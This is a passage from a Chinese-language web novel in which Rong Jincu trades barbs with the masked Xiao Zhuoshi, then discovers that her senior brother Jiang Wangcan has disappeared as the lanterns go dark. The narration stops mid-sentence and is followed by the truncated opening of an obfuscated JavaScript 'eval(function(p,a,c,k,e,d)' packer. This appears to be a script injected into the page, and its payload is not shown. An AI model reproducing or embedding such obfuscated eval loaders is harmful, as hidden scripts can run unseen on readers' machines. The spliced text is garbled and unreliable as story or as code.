“更没有担心!”
昏暗中,萧琢时轻轻笑了一声。
“那刚才,你为什么一直看着床上那人?”
容锦簇一时语塞:“我我我,我想看谁就看谁,我还看你呢。”
萧琢时微微挑眉:“是吗?要不我摘了面具,让二姑娘好好看看?”
“你!”被他一逗,容锦簇气不过,“你是流氓么!”
嘴上虽然逞强,她自知心乱如麻,只能藏起更深的担忧。
无论她多么急切地想了解萧逐夜的病,都绝不能在此时开口询问这儿的人。毕竟在外人看来,容家不是太子党,她跟当朝太子亦毫无关系。
容锦簇忽然感觉门外冷风凄凄,似乎有哪里不太对劲。
太子亲卫的闲聊声消失了,院子里静得可怕。
她身边也静得可怕。
江望灿不知何时悄悄溜了出去。
容锦簇赶忙迈出正堂,院里空荡荡的,蓝袍少年还守在屋外,睁着一双清澈的眼睛跟她对望。
她犹豫了一下,先问:“他们……”
“姑娘是想问公子的那些属下吧?”少年抢先一步笑着回她,“他们还有要事在身,先走了。”
容锦簇举目四望,院门虚掩,只剩一道狭窄的小缝,任凭夜风乱钻。
“那我师兄呢?在门口吗?”
少年挠挠头:“跟姑娘一起来的那个公子吗?没注意。”
容锦簇心下倏地一惊,奔过去拉开院门。
门前小巷被夜色浸没,看不清有没有人影:“师兄,师兄!”
无人应答。
她折身飞奔回屋,萧琢时也察觉到异常,严肃起来:“我一直在这,没见他回来。”
容锦簇顿时急得如同热锅上的蚂蚁,恰在这时,内室的门再一次开了,两位老太医笑呵呵跟着江玉走出卧房。
江玉瞧见容锦簇,当即正色:“江望灿呢?”
一阵狂风平地起,挂在院前的灯笼猝不及防熄灭了,正堂没入无边无际的黑暗。
寂静中,容锦簇倒吸一口凉气。
她怕极了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.